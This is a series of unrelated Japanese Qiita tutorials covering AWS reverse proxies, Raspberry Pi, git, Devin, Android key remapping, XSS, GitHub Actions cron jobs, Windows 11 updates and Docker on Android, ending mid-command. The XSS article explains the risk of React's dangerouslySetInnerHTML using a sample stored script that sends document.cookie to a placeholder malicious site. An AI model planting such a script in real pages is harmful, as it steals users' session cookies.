OmniAICreator/Qiita-1.07M huggingface dataset:
AmplifyのフロントエンドサーバからEC2のバックエンドサーバへの通信ができません！

## AmplifyのフロントエンドサーバからEC2のバックエンドサーバへの通信ができません！
掲題の件についてAIと壁打ちしながら解決したことを備忘録を兼ねて記録します！
## 前提
前提として、フロントエンドのサーバをAmplifyにデプロイし、バックエンドのコードとデータベースをEC2にデプロイする運用を行っていました。curlコマンドでアプリケーションが動作することは確認済みです。

## 発生した問題
フロントエンドアプリケーションからの通信で、以下のエラーメッセージが表示されました。
```
'https://~~~’ was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint
```
これは、HTTPSで提供されているサーバ（Amplify）からHTTPで提供されているサーバ（EC2内のサーバ）にアクセスした際に、プロトコルが異なるため発生するエラーです（Mixed Contentエラー）。

## 試したこと1
単純にリクエスト送信先を`https://<EC2のIPアドレス>`のように変更しました。
しかし、EC2インスタンス側でHTTPS通信を受け付ける設定がされていないため、当然ながらうまくいきませんでした。

## 試したこと2
バックエンドのサーバ（EC2インスタンス上で動作しているアプリケーション）をHTTPSを指定して起動しました。
これにはNode.jsの`https`モジュールを使用したり、証明書を用意したりする必要があり、設定が複雑になりがちです。

## 解決策: リバースプロキシ
フロントエンドはそのままAmplifyでデプロイし、EC2インスタンスでは最初にHTTPSで提供されるリバースプロキシ（Apache）でリクエストを受け付けます。
クライアント（Amplify）からのHTTPSリクエストをリバースプロキシが受け取り、証明書を使って通信を復号した後、同じEC2インスタンス内のバックエンドサーバへHTTPでリクエストを転送（ルーティング）します。

```mermaid
graph LR
    A[Amplify Frontend] -- HTTPS --> B(Apache);
    B -- HTTP --> C(EC2 Backend);
```

### 設定手順の概要
1. Apacheサーバを構築します。サーバはインスタンス起動と同時に起動させたいため、自動起動を設定します。
```bash
sudo systemctl start httpd
sudo systemctl enable httpd
```
2. AWS Route 53などでドメインを取得します。
3. フロントエンドでのリクエスト送信先を `https://<ドメイン名>/<任意のパス>` のような形式にします。
4. EC2インスタンスのセキュリティグループで、HTTPS（ポート443）とHTTP（ポート80）のアクセスを許可します。EC2インスタンスに届いたHTTPS通信は、まずポート443で処理されるためです。
5. Apacheがポート443で指定ドメインからのリクエストを処理するように設定します。
6. SSL証明書の取得とApacheへの設定を自動化するためにCertbotを使用します。
7. リバースプロキシの設定を調整します。`httpd.conf`などの設定ファイルを編集し、以下のように記述します。これにより、`<ドメイン名>/api` へのリクエストが、EC2インスタンス内のlocalhost:3000でリッスンしているアプリケーションにルーティングされます。
```apache
ProxyPass /api http://localhost:3000/
ProxyPassReverse /api http://localhost:3000/
```

### 問題点
*   **ドメイン取得**: SSLを利用する場合、基本的に独自ドメインが必要です。お名前.comやGoogle Domainsなどで取得できます（年額数百円〜）。

## 代替案: フロントエンドもEC2でホストする
フロントエンドのアプリケーションもビルドし、静的ファイルとしてEC2インスタンス上のWebサーバ（NginxやApacheなど）でホストします。
この場合、フロントエンドとバックエンドが同じオリジン（または同じプロトコル）で提供されるため、Mixed Contentエラーは発生しません。

### メリット
*   構成がシンプルになります。
*   EC2に統合できるため、アプリケーションによってはコストを削減できる可能性があります。

### デメリット
*   **デプロイ**: Amplifyのような簡単なデプロイフロー（Git連携など）は利用できなくなります。手動でのファイル配置や、CI/CDパイプライン（例: CodePipeline, GitHub Actions）を自前で構築する必要があります。
*   **スケーリング/可用性**: Amplifyが提供するCDNやスケーリングの恩恵を受けられません。自前で設定する必要があります。
*   **開発体験**: Amplifyの便利な機能（環境変数管理、プレビュー機能など）が利用できなくなります。

## まとめ
Amplifyの利便性を活かしたい場合は、Apacheなどのリバースプロキシを用いてHTTPS化するのが推奨されます。初期設定の手間や若干のコストはかかりますが、モダンなWebアプリケーションの構成としては一般的です。
コストを最優先する場合や、CI/CD、スケーリングなどを自前で管理できる場合は、フロントエンドもEC2でホストする代替案も検討できます。
プロジェクトの要件、予算、チームのスキルセットに応じて最適な方法を選択することが重要です。
ラズパイZero２Wで監視カメラ

# ラズパイZero2Wで監視カメラ
ラズベリーパイZero2Wはラズベリーパイシリーズでも小型で消費電力が比較的小さいがCPU性能は良い。
これを使ってなるべくプログラムを書かずにデータを共有するためにsambaを使ってデータフォルダを共有しました。

# 下準備
１．ラズパイZero２Wはメモリの搭載量が少ないなので節約のためにWindowsシステムなしで起動します。
２．さらにメモリを補強するためにスワップファイルの大きさを100Mがら2048Mに変更します。
３．カメラの制御用にpython3-opencvをaptでインストールしておきます。
４．sambaをaptでインストールします。

# OpenCVでデータを記録するプログラム
このプログラムは一定時間で適当なファイル名を付けてカメラ画像を記録します。
``` vdf.py
#!/usr/bin/python3

import cv2
import time as tm

cdev = 0
cap = cv2.VideoCapture(cdev)
cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)
cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)
sut = 0
fmax = 120
ic = 0
if cap.isOpened():
    try:
        while True:
            ret,rimg = cap.read()
            if ret:
                # ut = int(tm.time())
                ut = int(tm.time()) // 20
                if sut==0:
                    sut = ut
                if sut < ut:
                    ic += 1
                    ic %= fmax
                    fname = f"data/img{ic:04}.jpg"
                    cv2.imwrite(fname,rimg)
                    print(fname)
                sut = ut
            tm.sleep(1)
    except KeyboardInterrupt:
        print("Ctrl+C によりプログラムが中断されました。")

else:
    print("Cam Open Error!!")
```
fmax = 120
で120個のファイルを作るっことを定義しており
ut = int(tm.time()) // 20
の20が20秒間隔でファイルをセーブします。
この部分を調整して、プログラムを起動するとファイルが指定個数分だけできて後は上書きしていきます。

# sambaの設定
sambaの設定は
[homes]
   comment = Home Directories
   browseable = no
を
   browseable = yes
に変更します。

samba-passwd -a user
ただしuserはラズパイでPythonプログラム実行する人のアカウントID
でパスワードを設定します。
以上でリードオンリーでファイルを読めます。

# カメラの話
このシステムでは、カメラは市販のUSBカメラを使っています。
カメラによっては、メモリー不足で制御できないものがありますので要注意！
@typespec/compilerでtspファイルからmodelの定義を取得する

`Program` のインスタンス化の仕方とか `CompilerHost` をどう作ればいいかとか、そういうのが全くdocsに記載されてないので、困った。

色々試した結果、とりあえず以下が最小構成。

```ts
import { type Namespace, compile, NodeHost } from "@typespec/compiler";

// tspファイルをコンパイル
const program = await compile(NodeHost, "./your-file.tsp")

// エラーがあればdiagnosticsに入ってくる
// これをチェックしないで、後続の `namespace.models` を参照しようとすると実行時エラーになる
const { diagnostics } = program;
if (diagnostics.length > 0) {
  throw new Error("Compilation failed");
}

// Databaseというnamespace配下の定義をすべて取り出す
const [untypedNamespace] = program.resolveTypeReference("Database");
if (!untypedNamespace) {
  throw new Error("Namespace not found");
}

// こうやって型つける以外にやり方が分からなかった
const namespace = untypedNamespace as Namespace;

// namespace.modelsにmodelの定義が全て入っている
for (const [name, modelDef] of namespace.models) {
  // ...ここでイイ感じにmodelDefを参照してフィールド定義とか取り出す...
}
```

TypeSpecは `compile` 関数の第一引数で `CompilerHost` というインターフェイスでコンパイラーの実行環境を与えることができる。

`NodeHost` というのがデフォルトのコンパイラー実装だが、細かくカスタマイズしたければ [`createCLICompilerHost`](https://github.com/microsoft/typespec/blob/bfd28d6f72024e3e49629c79f5793b0ab20a1b58/packages/compiler/src/core/cli/utils.ts#L68-L80) という関数を使ってロガーやトレーサーなどをカスタマイズした実行環境を作れるらしい。
gitコマンドブランチ分岐

```
git checkout -b main        # mainブランチ作成
git push -u origin main

git checkout -b test        # testブランチ作成
git push -u origin test
```

```
git checkout test
# 作業 → コミット → push
git add .

【コミットとプッシュの違い】
Aコミット
#変更をローカルのGit履歴に記録する	自分のPCの中だけ
git commit -m "新機能の実装"

Bぷっｓ
#ローカルの履歴をGitHubなどに送信する	GitHubなどのリモートサーバー
git push origin test
```

```
#1.これは「main ブランチに切り替える」コマンドです。
git checkout main

#2.main ブランチの最新の内容を、ローカルの main に取り込む
git pull origin main        

#3.マージ（ここにcommitも含まれる）
git merge test              # testからmainへ

#4.push
git push origin main
```


-追記-
違うブランチの情報を取得する場合
```
#GitHub（＝origin）にある最新の情報を取得する
git fetch origin
#-bとは、ローカルブランチを作るという意味
git checkout -b test origin/test
```
上記だとうまくいかず、git側がブランチなのかファイル名なのか迷っている状態だった

テストブランチにブランチ変更
```
git checkout -b test origin/test --no-guess
```
【簡単解説】Devin 2.0の使い方


## Devinって何？

Devinは「AIエンジニア」として働いてくれるツールです。コードを書いたり、バグを直したり、テストしたりを自分でやってくれます。最新版のDevin 2.0では機能も使いやすさも大幅に向上しています。

## Devinの特徴

- コードを自動的に書き、実行、テストしてくれる
- バグ修正やコードのリファクタリングも得意
- 数百行のコードを一つのプロンプトから作れる
- 複数のプログラミング言語に対応
- インタラクティブプランニング機能で開発計画を一緒に立てられる
- Devin Search機能でコードベースを効率的に検索・理解できる
- VSCodeライクなインターフェースでDevinの作業を確認・編集可能

## アクセス方法と料金プラン

Devinは一般公開されており、最近大幅な値下げも行われました：

- 公式サイト `https://devin.ai` からアクセス
- `app.devin.ai` でアカウント登録してすぐに利用開始
- 基本プラン：月額$20から（約9ACU分のクレジット付き）
- チームプラン：月額$500（250クレジット付き）
- 従量課金制：基本プランを超えた場合は1ACUあたり$2.25
- 1ACUで約15分のDevinの作業時間に相当

※ACU = Agent Compute Unit（Devinが使用する計算リソースの単位）

## 使い方のキホン

### インターフェース

Devinのワークスペースには主に2つの部分があります：

- **VSCode**: コードを書くエディタ。リアルタイムでDevinの作業を見たり、自分で手を加えたりできる
- **ブラウザ**: Devinがドキュメントを読んだり、Webアプリをテストしたりする様子を見られる

### タスクの頼み方

1. チャットでやりたいことを伝えるだけ
2. Webアプリから複雑なタスクを依頼
3. Slackで@Devinをタグ付けして依頼

## Devinが得意なこと

### 小さなタスクを同時にこなす
- コードのリファクタリング
- 小さな機能追加やバグ修正
- テストカバレッジの改善

### コードの移行・近代化
- JavaScriptからTypeScriptへの移行
- フレームワークのアップグレード
- 不要なコードの削除

### 定型作業の自動化
- PRレビュー
- バグの再現と修正
- ユニットテストの作成

## 注意点

- 大規模な開発は苦手。小さなタスクに分けよう
- たまに変な方向に行くことも。その時は軌道修正するか自分で引き継ごう
- UIデザインの美的センスはイマイチ
- モバイル開発はテスト環境の制約あり
- 資格情報の共有は専用の安全な方法で行おう

## 実績と性能

Devinの実力はかなり期待できそうです：

- SWE-benchというベンチマークでは、他のAIが1.96%しか解決できなかった問題の13.86%を完全に解決
- Nubank社の事例では、ETLコードの移行作業を従来の方法より12倍効率化し、コスト削減も実現
- Devin 2.0では以前のバージョンと比較して83%以上のタスク処理効率が向上
- 実際のレビューでは賛否両論あり、単純なタスクは得意だが複雑な問題は苦手な傾向

## まとめ

Devinはコーディング作業を大幅に効率化してくれる便利なAIツールです。月額$20からという手頃な価格になり、アクセスしやすくなりました。単純な繰り返し作業を任せることで、開発者はより創造的なタスクに集中できます。完璧ではありませんが、AIエンジニアの可能性を感じさせるツールです。

## 参考リンク
- [公式サイト](https://devin.ai/)
- [ドキュメント](https://docs.devin.ai/)
- [VentureBeat記事：Devin 2.0の価格と特徴](https://venturebeat.com/programming-development/devin-2-0-is-here-cognition-slashes-price-of-ai-software-engineer-to-20-per-month-from-500/)
Android端末でのリモート開発/ゲームを快適にした話

# 背景
GWで実家に帰省するにあたり、普段はWindowsの性能が良いノートPCなどを持っていくことにしているのですが、今回はちょうどそういった端末が故障などで手元にありませんでした。
新たに買おうとも考えましたが、持ち運びができる高性能Windows端末は高いです。とにかく高い。
最近はミドルクラスのAndroid端末もかなり安くなってきているので、自宅の仮想マシン内のVM(Windows)へリモートアクセスすることで、代用できないかと思いつき実施した内容になります。

# モチベーション
- 自宅の外でもゲームと開発がしたい
- 高性能なWindows端末は高いので、安価なAndroid端末で済ませたい
    - ゲーミングノートとかまともなもの買おうとすると2,30万〜とか当たり前……
- 技術的興味

# 利用端末
- Xiaomi Pad 7
    - クライアント用
    - ミドルクラスとしてコスパ◎
    - 公式でカバーになるキーボードが売ってる
    - Persecでリモート接続
- Proxmoxサーバー
    - ホスト用
    - VMでWindowsを稼働
    - CPU: Intel Core i9-9900k
    - GPU: RTX2080
        - Windows VM へパススルー
- 回線
    - Softbank光
        - たまにパケロスがある
    - UP/DOWNともに600Mbpsくらい（たぶん）

# 課題
Persecを通常通りクライアント端末とホスト端末両方にインストールすればリモート接続するには問題ないのですが、ここでいくつか課題が上がります。

- Xiaomi pad 7の公式キーボード（Focus Keyboard）では、ESCキーと GRAVEキーが同じ箇所に割当られている
- AndroidはESCキーに戻る動作が割り当てられている
    - Persecでリモート接続中にESCキーを入力すると、アプリが戻ってしまう
- Xiaomi Pad 7ではMETAキー(Windowsキー)で端末独自のショートカット動作をする
    - Persec側でMETAキーとして認識してくれない

さらに、今回の課題解決に当たっては以下のような思いがあります。

- root化することは避けたい
    - Xiaomi端末はroot化が面倒くさい＆時間がかかる
- バックグラウンドアプリを常駐させることは避けたい
    - Android端末を利用していると、バックグラウンドアプリをすべて閉じる動作を頻繁に行うため

# User-installable keymapsの利用
Xiaomi Pad 7 focus keyboardは英字配列です。GRAVEキーが押せないのは話しになりません。
また、ESCキーが戻る動作をする以上、それも解決する必要があります。
そこで、Android4.1以降に実装されているらしいUser-installable keymapsという機能を使います。
これにより、ハードウェアキーボードのキーマップを任意に変更することが可能で、かつバックグラウンドアプリとして常駐するようなことが起こりません。

### 詳細
- アプリの作り方は先人たちの記事を参考
    - [Gemini PDA用User-installable keymapsのまとめ](https://blog.8796.jp/8796kanri/2018/06/gemini-pda%E7%94%A8user-installable-keymaps%E3%81%AE%E3%81%BE%E3%81%A8%E3%82%81.html)
    - [F(x)tec Pro1のキーボードレイアウトをいじる](https://eps-r.hatenablog.com/entry/2020/07/19/fxkanjimod)
    - [Gemini PDAのキーボードをカスタマイズする（root権限不要）](http://ayati.cocolog-nifty.com/blog/2018/06/gemini-pdaroot-.html)
- 今回利用したkeymapのファイルは以下に記載しておきます
```bash:hogehoge.kcm
# OVERLAYなんてタイプはドキュメントに載っていませんが、既存設定の上書きとして存在するので利用
type OVERLAY

# ESCキーをGRAVEキーで上書きします。
map key 1      GRAVE
```

# Auto Hotkeyの利用
GRAVEキーは利用できるようになりましたが、ESCキーとMETAキーは未だキーボード上に存在しません。
PersecはどうやらUnicod変換された入力を送信しているわけではなく、それより低レイヤーでキーボードの入力をフックしているようです。そのため、User-installable keymapsではこの問題が解決しません。
色々調べてみましたが、root化せずにこの問題を解決するのは困難みたいです。
そこで、ホスト側のVM内でAuto Hotkeyを使い、利用しないキーにESCキーとMETAキーを割り当てることで対処します。

### 詳細
- 以下のスクリプトを作成、Autohotkeyでコンパイル
- 実行ファイルになったものをスタートアップフォルダへ格納
    - これにより、起動するたびにAutohotkeyが適用される

```:persec_remap.ahk
#NoTrayIcon
RAlt::Esc
RCtrl::LWin
```

# 所感
今回構築した環境で、リモート越しでも開発作業に支障がない程度の操作感で利用することができています。
ゲームに関してはネットワーク速度の関係で、リアルタイム性が重要なゲームは厳しい印象です。（おそらくネットワーク速度による）
手前味噌ですが、この記事が誰かの参考になれば幸いです。

# おまけ
この環境を利用していて発見したメリットとして、バッテリーの持ちがかなり良いというものがあります。（Android側はゲーム処理を一切せず映像通信してるだけなので、当然といえば当然ですが）
Xiaomi Pad 7のバッテリー容量がそもそも多めなのもありますが、実家ではほとんどバッテリーを意識せず使えています。
dangerouslySetInnerHTMLはなぜ危険？

# はじめに
学習中に`dangerouslySetInnerHTML`を使用する機会がありました。XSSとは何か、なぜ危険なのかわからなかったため、学んだことをまとめてみました。

# dangerouslySetInnerHTMLとは

**公式ドキュメントより引用**
>以下のように、要素に対して生の HTML 文字列を渡すことができます。
```tsx
const markup = { __html: '<p>some raw html</p>' };
return <div dangerouslySetInnerHTML={markup} />;
```

公式ドキュメントのタイトルは**危険を冒して内部 HTML をセットする**となっています。

>マークアップが完全に信頼できるソースから来ていない限り、この方法を使うといとも簡単に XSS 脆弱性が発生します。

名前にdangerousとつくほど注意が必要な機能です。**XSS 脆弱性**とは何なのでしょうか？

# XSSとは

**wikipediaより引用**
>クロスサイトスクリプティング（英: cross-site scripting）とは、Webアプリケーションの脆弱性[1]もしくはそれを利用した攻撃。
>>標的サイトの権限で悪意のあるコンテンツ（多くの場合スクリプト）を実行する事を目的として行われる[5][1]。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される[5][1]。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ（＝被害者）のcookieを盗むなど、様々な攻撃を行う。

サイトの脆弱性を利用して、悪意のあるコンテンツを実行させると理解
調べたものの、なぜ`dangerouslySetInnerHTML`が悪意のあるコンテンツを実行させることができるのかわからない状態でした。

# 具体例を考えてみる

例えば、WEBアプリケーション上で操作し、DBにhtmlタグを含むデータを登録、取得できるように管理しているとします。

| id | name | script |
|:-:|:-:|:-:|
| 1  |  あ | \<p>あ\</p>  |
| 2  |  い | \<p>あ\</p>  |
| 3  |  う | \<p>あ\</p>  |

この場合、WEBアプリケーション上で悪意のあるユーザーが以下のid=4のようなデータを登録することが可能です。

| id | name | script |
|:-:|:-:|:-:|
| 1  |  あ | \<p>あ\</p>  |
| 2  |  い | \<p>あ\</p>  |
| 3  |  う | \<p>あ\</p>  |
| 4  |  え | \<script>location.href = 'http://悪意のあるサイト/getCookie.cgi?cookie=' + document.cookie;\</script> |

id=4の登録データをdangerouslySetInnerHTMLで表示した場合、悪意のあるスクリプトが実行され、cookieなどが盗まれてしまいます。

これがXSS攻撃と理解しました。

そのため、dangerouslySetInnerHTMLは信頼できるソースでのみ使用することを留意しないといけないと理解しました。

# おわりに
dangerousと名前につけるほど危険な機能だなと理解しましたが、何も背景を理解せず利用すると怖いものだなと思いました。
セキュリティの勉強も少しずつ進めていきたいです。

# 参考
https://ja.react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html

https://qiita.com/hiromoon/items/f3ed77abd338139ba97b

https://www.ipa.go.jp/security/vuln/websecurity/cross-site-scripting.html

https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0

https://www.tohoho-web.com/ex/xss.html
GitHub Actionsでcronジョブを使ってバッチ処理を自動化する

## はじめに
`Github Actions` で`cron` を用いて、データの自動削除機能を作成する必要がありました。
cronやバッチ処理自体作成したことがなかったので、どのように実装したかをまとめます。

## cronとは

>ccronは、定期的にコマンドを実行するための仕組みです。
バックグラウンドで動作する「デーモン」として、指定したスケジュールに従って処理を実行します。

では、デーモンとは何か
>コンピュータシステムにおいてバックグラウンドで常時動作し、特定のタスクやサービスを提供するプログラムのこと

これらの内容は、以下の記事を参考にしました

https://qiita.com/pyon_kiti_jp/items/af455129af4f1b8b2186

https://zenn.dev/kisukeyas/articles/6d50c1d015d066


## 課題
以下の要件で実装しました。
- `Supabase` に登録されているユーザー情報を、毎日一定の時間に削除する
- 削除対象は、前日に登録されたユーザー情報とする

## 実装したこと

### GitHub Actionsのワークフロー設定
```yml
name: schedule delete user

on:
  schedule:
    - cron: '0 21 * * *' # UTCで21時（JST朝6時）に実行
  workflow_dispatch: # 手動実行も可能

jobs:
  delete-users:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
      
      - name: Set up Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
          
      - name: Run batch to delete users
        run: npx tsx ./batch/index.ts
        env:
          VITE_SUPABASE_URL: ${{ secrets.SUPABASE_URL }}
          VITE_SUPABASE_ANON_KEY: ${{ secrets.SUPABASE_ANON_KEY }}
```

### バッチ処理の作成
```ts
// 24時間以上前に登録されたユーザーデータを削除するバッチ
async function cleanupOldUserData() {
  try {
    // 現在時刻から24時間前を計算
    const dayAgo = new Date();
    dayAgo.setHours(dayAgo.getHours() - 24);
    
    // 削除処理実行
    const result = await deleteUsersCreatedBefore(dayAgo);
    
    if (result) {
      console.log('ユーザーデータの削除に成功しました');
    } else {
      throw new Error('ユーザーデータの削除に失敗しました');
    }
  } catch (error) {
    console.error('バッチ処理でエラーが発生しました:', error);
    process.exit(1); // エラー終了
  }
}
```

## 苦労したポイント

### cronの設定
日本時間の朝6時にバッチを実行したかったのですが、GitHub ActionsはUTC基準で動作します。
そのため、UTCの21時（JST朝6時）に設定する必要がありました。

```yml
cron: '0 21 * * *'  # UTCの21時 = JSTの午前6時
```
- - -

### 時差対応

:::note
① JavaScriptの`Date`はUTC基準で内部管理されているが、表示は実行環境のタイムゾーンに依存
② `Supabase` のデータベースは、PostgreSQLのタイムスタンプはUTC基準で保存
③ `GitHub Actions`は実行環境もUTC基準
:::

上記のことを踏まえて、整理すると
① ではGitHub Actionsで実行されるときは、UTC基準で日時が取得されるので、UTC基準の24時間前の時間をセット
```ts:バッチ処理
const dayAgo = new Date();
dayAgo.setHours(dayAgo.getHours() - 24);
```
② では、常にUTC基準なので SQL で Supabaseのテーブルに保存されている登録時のタイムスタンプと比較することが可能
```tsx:Supabaseの処理
export async function deleteUsersCreatedBefore(
  beforeTime: Date
): Promise<boolean> {
  try {
    ...
    .lt('created_at', beforeTime);
```

これらの対応をとることにより、UTC基準での24時間前より前に作成されたレコードを定期的に削除する、バッチ処理を実装することができました！


## まとめ
今回は、時間帯による挙動の違いを理解して、バッチの実行時間やデータ処理の範囲を適切に設計することの重要性を学ぶことができました。
週刊生成AIアップデート

[週刊生成AI(2025/4/21週)](https://aws.amazon.com/jp/blogs/news/weekly-genai-20250421/)

## Amazon Q Developer が、最先端のソフトウェア開発エージェントをリリース

Amazon Q Developer では、IDEに「/dev」と入力すると開発支援をしてくれるソフトウェア開発エージェント機能を提供しています。今回、機能がアップデートされコード生成の品質が向上しました。

業界ベンチマークであるSWTBench Verified (49%)では最先端の性能を発揮し、SWEBench Verified (66%)では上位モデルにランクインしています。

## Amazon Q Developer の運用調査機能（プレビュー）が追加リージョンで利用可能に

Amazon Q Developer では、AWS のリソースの異常に対し、調査・改善案の提案を行う運用調査機能 (Operational Investigation) を提供しています。今回のアップデートにより、アジアパシフィック（東京）リージョン含む 11 の追加リージョンで利用可能になりました。

### 対象リージョン
・バージニア
・オハイオ
・オレゴン
・アイルランド
・フランクフルト 
・ストックホルム
・スペイン
・東京
・香港
・シドニー
・シンガポール
・ムンバイ


### アップデートのメリット
Amazon Q Developerを使用すると、AWS環境全体の運用調査をわずか数分の1の時間で迅速化できます。 

## Amazon Bedrock のインテリジェントプロンプトルーティング機能が一般提供開始

Amazon Bedrock のインテリジェントプロンプトルーティングは、プロンプト内容に応じて異なる基盤モデルに処理を振り分けることによって、応答の品質とコストを最適化する機能です。これまでプレビューでの提供でしたが、GAになりました。

### 対象モデル
・Anthropic’s Claude family: Haiku, Haiku 3.5, Claude Sonnet 3.5 v1, Claude Sonnet 3.5 v2
・Meta Llama family: Llama 3.1 8B, 70B, 3.2 11B, 90B and 3.3 70B
・Amazon Nova family: Nova Pro and Nova Lite


## Amazon Bedrockのプロンプト最適化機能が一般提供開始
Amazon Bedrockのプロンプト最適化機能は、基盤モデルからのより質の高い応答が得られるようにプロンプトを自動で書き換える機能です。Anthropic、Llama、Nova、DeepSeek、Mistral、Titan モデルがサポートされています。

Bedrock PlaygroundでPrompt Optimizationを使用するか、APIを介して直接使用することもできます。


## Amazon Bedrock Data Automation がモダリティコントロール、ハイパーリンク、より大きなドキュメントをサポート

Amazon Bedrock Data Automation にて、データのモダリティ選択機能が導入され、画像、音声、動画などのデータタイプを必要に応じて指定できるようになりました。

モダリティの有効化とルーティングを使用すると、特定のプロジェクトで有効にするモダリティ（ドキュメント、イメージ、オーディオ、ビデオ）を設定し、特定のファイルタイプのモダリティルーティングを手動で指定できます。

BDAは文書処理を文書あたり3,000ページまでサポートし、従来の1,500ページの制限を2倍にしました。 

Amazon Bedrock Data Automationは、米国西部（オレゴン）と米国東部（バージニア州）のAWSリージョンで一般提供されています。
Windows11 24H2 にアップデートできない原因(解決済) と 古いPCでのWindows11更新方法

# Windows11で困っていたこと
タイトル通りなのですが、普段使いしているPCにWindows11 24H2 をアップデートしても必ずエラーとなるのと、古いPCがWindows10であるのでそのWin11更新方法が分かったので記事にしてみました。

# Windows11 24H2 にアップデートできない
結論としては、古いドライバーが悪さしているとこのとで Windows11 24H2 にアップデートすると必ず '0xC1900101' エラーとなりました（自分のＰＣ）。で、この「古いドライバーが・・・」は、以下の記事内容にて無事に削除できました。（まだ続きあり）

https://polygonote.com/2025_0315_26154/

## STCFUx64.sys ドライバが消せない　→　そしてアップデートできた
SCR3310-NTTCom（ICカードリーダ）の STCFUx64.sys が削除することができず。頭を抱えていたら公式サイトで消し方が見つかりました。

https://www.ntt.com/content/dam/nttcom/hq/jp/business/services/application/authentication/jpki/pdf/STCFUx64_Delete_Manual.pdf

# 古いPCでのWindows11インストール(更新)方法
古いPCには、Windows11 に対応した TPM(トラステッド プラットフォーム モジュール) がないか、バージョンが古いためWindows11 をインストールすることができません、、が、。といってもインストール時に TPM 存在チェックをしているためそこを回避することで対応可能です。
※自己責任で実施してくださいね。

https://note.com/fieldwest/n/n6c0a40d3987d

WindowsUpdate で「Windows11 にアップグレードしますか？」を消してしまった場合でも、この方法を使用すればよいです。

# 古いファイルのクリーンアップ
クリーンアップのアプリを使って古いファイルを消しましょう。クリーンアップのアプリなかなか探し出せなかったのでこちらもリンクを貼っておきます。

https://www.fmworld.net/cs/azbyclub/qanavi/jsp/qacontents.jsp?PID=7711-2922

# Windows11 23H2 のサポート期限
期限は、2025年11月11日です。これ以降セキュリティアップデートなどのサポートが提供されなくなりますので早めに 24H2 にすることをお勧めします。

# Windows10
とうとう 2025年10月14日 でサポート期限が終了しますね。初回リリースが 2015年7月29日 ということで、約10年の期間、プライベート、仕事で使わさせて頂きましたが息のながいOSでしたね。
【用語解説】よくVirtualBoxとかの仮想マシン設定で出てくるRIIX3とICHについてざっくりまとめる。

## 前提知識
### チップセットとは？
:::note info
チップセットとは、パソコンに接続されている各機器の動作を管理するパーツを指す。
CPUと各機器との橋渡し役を行う事からブリッジと名付けられている。
:::

### ノースブリッジとサウスブリッジ
**ノースブリッジ：** メモリコントローラーハブと呼ばれ、メモリとグラフィックボードなどの処理を行う。
CPUとの高速な処理が必要なパーツとの連携のため、CPUになるべく近い場所に配置される。

**サウスブリッジ：** I/Oコントローラーと呼ばれ、ハードディスクやマウス、キーボードなどの周辺機器などに対する処理を行う。

### なんでノース？サウス？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3575047/7e1eb6f2-001d-43d9-aeac-c861fb2b120d.png)


**ノースブリッジ：** 前述の通り、CPUに近い位置、つまり北側に配置される高速なデバイスとの通信を担当する。
**サウスブリッジ:** CPUから遠い位置、つまり南側のIO関係との通信を担当する。

:::note warn
しかし、問題もあった。
CPUとグラフィックボートやメモリの連携がノースブリッジを経由しての連携になるので、タイムラグが絶対にあった。
:::


### いよいよ本題
## ICH9の特徴
・正式名称はIntel IO Controller Hub 9の事2007年に誕生したチップ。
・もう廃止されてる。
・サウスブリッジ
・IDE廃止・SATA/AHCI/NCQ対応、USB2.0、RAID、eSATA（1つのSATAポートで最大4台の外付けSATAデバイスを接続可能とする技術と搭載）といったモダンPCに欠かせない機能を大幅に強化。

## PIIX3の特徴
・正式名称はIntel 82371SB(PIIX3)で1996年に誕生した初期のサウスブリッジ。
・もう廃止されてる。
・IDEコントローラ（ある種の産業廃棄物）やDMA（2チャネルのダイレクトメモリアクセスCPUを介せずにデバイス間でデータ転送が可能。）、USB1.0など基礎機能を一体化し、PCI-ISA間ブリッジとして活躍。

## 現代のコンピューターアーキテクチャのお話
近年のマザーボード設計では、ノースブリッジの機能がCPUに統合され、サウスブリッジの機能も今では**プラットフォームコントローラーハブ（PCH）**として統合される傾向にある。

## 参考文献（参照日2025年5月2日）

https://jp.fujitsu.com/family/familyroom/syuppan/family/webs/serial-comp/index9.html

https://dosparaplus.com/library/details/000665.html

https://it.wikipedia.org/wiki/ICH9?utm_source=chatgpt.com
Android(pixel 6a)ターミナル環境へDockerインストール

# はじめに
自分の備忘録のために調べたことと参照先をまとめていきたいです。

Android端末(現時点ではpixel限定)でterminalが使えるようになりました。
ちょっとしたSeleniumのツールだったり、Pythonの開発環境を移動中に作りたかったので本環境にDockerをインストールしました。

# 環境
- 端末：pixel6a(Androidスマートフォン)
- アプリ：ターミナル
``` bash:pixel上のLinux仮想環境
#less /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

# 手順
参照：https://docs.docker.com/engine/install/ubuntu/


## 1.古いDockerアンインストール
念の為、削除コマンドを実行しておきます。
```bash
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done
```

## 2.必要パッケージのインストール
インストールに必要なパッケージです。
```bash
sudo apt update
sudo apt install ca-certificates gnupg
```

- ca-certificates
ウェブサイトやその他のサービスが、ユーザーに安全な通信であることを保証するために発行されるデジタル証明書

- gnupg
データや通信を暗号化したり署名を付与したりする

## 3.Dockerインストール
公式サイトより以下手順でインストールします。
```bash
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
